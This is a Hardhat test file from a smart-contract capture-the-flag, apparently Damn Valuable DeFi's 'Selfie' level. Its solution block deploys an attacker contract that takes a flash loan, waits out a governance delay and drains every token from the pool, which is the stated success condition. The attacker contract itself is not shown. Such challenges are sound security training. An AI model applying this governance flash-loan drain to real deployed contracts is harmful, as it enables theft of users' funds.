-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathselfie.challenge.js
63 lines (53 loc) · 2.12 KB
/
selfie.challenge.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const { ethers } = require("hardhat");
const { expect } = require("chai");
const helpers = require("@nomicfoundation/hardhat-network-helpers");
describe("[Challenge] Selfie", function () {
let deployer, player;
let token, governance, pool;
const TOKEN_INITIAL_SUPPLY = 2000000n * 10n ** 18n;
const TOKENS_IN_POOL = 1500000n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player] = await ethers.getSigners();
// Deploy Damn Valuable Token Snapshot
token = await (
await ethers.getContractFactory("DamnValuableTokenSnapshot", deployer)
).deploy(TOKEN_INITIAL_SUPPLY);
// Deploy governance contract
governance = await (
await ethers.getContractFactory("SimpleGovernance", deployer)
).deploy(token.address);
expect(await governance.getActionCounter()).to.eq(1);
// Deploy the pool
pool = await (
await ethers.getContractFactory("SelfiePool", deployer)
).deploy(token.address, governance.address);
expect(await pool.token()).to.eq(token.address);
expect(await pool.governance()).to.eq(governance.address);
// Fund the pool
await token.transfer(pool.address, TOKENS_IN_POOL);
await token.snapshot();
expect(await token.balanceOf(pool.address)).to.be.equal(TOKENS_IN_POOL);
expect(await pool.maxFlashLoan(token.address)).to.eq(TOKENS_IN_POOL);
expect(await pool.flashFee(token.address, 0)).to.eq(0);
});
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const Attacker = await ethers.getContractFactory("SelfieAttacker");
const attacker = await Attacker.deploy(
pool.address,
governance.address,
token.address,
player.address
);
await attacker.getLoan();
await helpers.time.increase(3 * 24 * 60 * 60);
await attacker.execute();
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
expect(await token.balanceOf(player.address)).to.be.equal(TOKENS_IN_POOL);
expect(await token.balanceOf(pool.address)).to.be.equal(0);
});
});